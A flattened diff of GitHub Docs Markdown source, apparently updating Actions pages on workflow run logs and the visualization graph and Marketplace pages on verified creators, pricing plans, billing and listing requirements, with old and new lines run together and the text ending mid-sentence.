currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer paid plans for any of your apps. For more information about the requirements for listing an app on {% data variables.product.prodname_marketplace %}, see "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% note %} **Note:** This verification process for apps replaces the previous process where individual apps were verified. The current process is similar to the verification process for actions. If you have apps that were verified under the old process, these will not be affected by the changes. The {% data variables.product.prodname_marketplace %} team will contact you with details of how to migrate to organization-based verification. {% endnote %} 12 content/developers/github-marketplace/billing-customers.md @@ -13,17 +13,17 @@ versions: ### Understanding the billing cycle Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)." Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)." ### Providing billing services in your app's UI Customers must be able to perform the following actions from your app's website: - Customers must be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. Customers should be able to perform the following actions from your app's website: - Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately. {% data reusables.marketplace.marketplace-billing-ui-requirements %} ### Billing services for upgrades, downgrades, and cancellations Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)." Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). @@ -33,7 +33,7 @@ When a customer upgrades their pricing plan or changes their billing cycle from {% data reusables.marketplace.marketplace-failed-purchase-event %} For information about building upgrade and downgrade workflows into your app, see "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)." For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)." #### Downgrades and cancellations @@ -45,4 +45,4 @@ When a customer cancels a plan, you must: {% data reusables.marketplace.cancellation-clarification %} - Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time. For information about building cancellation workflows into your app, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." 20 ...nt/developers/github-marketplace/customer-experience-best-practices-for-apps.md @@ -0,0 +1,20 @@ --- title: Customer experience best practices for apps intro: 'Guidelines for creating an app that will be easy to use and understand.' shortTitle: Customer experience best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a good customer experience. ### Customer communication - Marketing materials for the app should accurately represent the app's behavior. - Apps should include links to user-facing documentation that describe how to set up and use the app. - Customers should be able to see what type of plan they have in the billing, profile, or account settings section of the app. - Customers should be able to install and use your app on both a personal account and an organization account. They should be able to view and manage the app on those accounts separately. ### Plan management {% data reusables.marketplace.marketplace-billing-ui-requirements %} 4 content/developers/github-marketplace/drafting-a-listing-for-your-app.md @@ -59,8 +59,8 @@ Once you've created a {% data variables.product.prodname_marketplace %} draft li ### Submitting your app Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, the {% data variables.product.prodname_marketplace %} onboarding team will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process. You can learn more about the onboarding and security review process in "[Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)." ### Removing a {% data variables.product.prodname_marketplace %} listing If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact [marketplace@github.com](mailto:marketplace@github.com) to remove your listing. If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing. 2 content/developers/github-marketplace/handling-new-purchases-and-free-trials.md @@ -28,7 +28,7 @@ GitHub then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketp Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/)." See "[Upgrading and downgrading plans](/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/)" to find out how to transition a free trial to a paid plan when a free trial expires. If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. 6 content/developers/github-marketplace/index.md @@ -11,8 +11,10 @@ versions: {% topic_link_in_list /creating-apps-for-github-marketplace %} {% link_in_list /about-github-marketplace %} {% link_in_list /about-verified-creators %} {% link_in_list /requirements-for-listing-an-app %} {% link_in_list /security-review-process-for-submitted-apps %} {% link_in_list /security-best-practices-for-apps %} {% link_in_list /customer-experience-best-practices-for-apps %} {% link_in_list /viewing-metrics-for-your-listing %} {% link_in_list /viewing-transactions-for-your-listing %} {% topic_link_in_list /using-the-github-marketplace-api-in-your-app %} @@ -27,7 +29,7 @@ versions: {% link_in_list /writing-a-listing-description-for-your-app %} {% link_in_list /setting-pricing-plans-for-your-listing %} {% link_in_list /configuring-a-webhook-to-notify-you-of-plan-changes %} {% link_in_list /submitting-your-listing-for-review %} {% link_in_list /submitting-your-listing-for-publication %} {% topic_link_in_list /selling-your-app-on-github-marketplace %} {% link_in_list /pricing-plans-for-github-marketplace-apps %} {% link_in_list /billing-customers %} 32 content/developers/github-marketplace/pricing-plans-for-github-marketplace-apps.md @@ -10,35 +10,45 @@ versions: {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit, and GitHub lists the price in US dollars. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave GitHub.com. You don't have to write code to perform billing transactions, but you will have to handle [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) for purchase events. {% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to verified listings. Customers purchase your app using a payment method attached to their {% data variables.product.product_name %} account, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed. For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% note %} {% data reusables.marketplace.free-plan-note %} **Note:** If you're listing an app on {% data variables.product.prodname_marketplace %}, you can't list your app with a free pricing plan if you offer a paid service outside of {% data variables.product.prodname_marketplace %}. ### Types of pricing plans {% endnote %} #### Free pricing plans ### Types of pricing plans {% data reusables.marketplace.free-apps-encouraged %} Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. #### Paid pricing plans **Free pricing plans** are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. Unverified free apps do not need to implement any billing flows. Free apps that are verified by Github need to implement billing flows for new purchases and cancellations, but do not need to implement billing flows for free trials, upgrades, and downgrades. If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to resubmit the app for review. There are two types of paid pricing plan: **Flat rate pricing plans** charge a set fee on a monthly and yearly basis. - Flat rate pricing plans charge a set fee on a monthly and yearly basis. **Per-unit pricing plans** charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). - Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person). **Marketplace free trials** provide 14-day free trials of OAuth or GitHub Apps to customers. When you [set up a Marketplace pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/), you can select the option to provide a free trial for flat-rate or per-unit pricing plans. You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. ### Free trials Customers can start a free trial for any available paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [marketplace@github.com](mailto:marketplace@github.com). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data 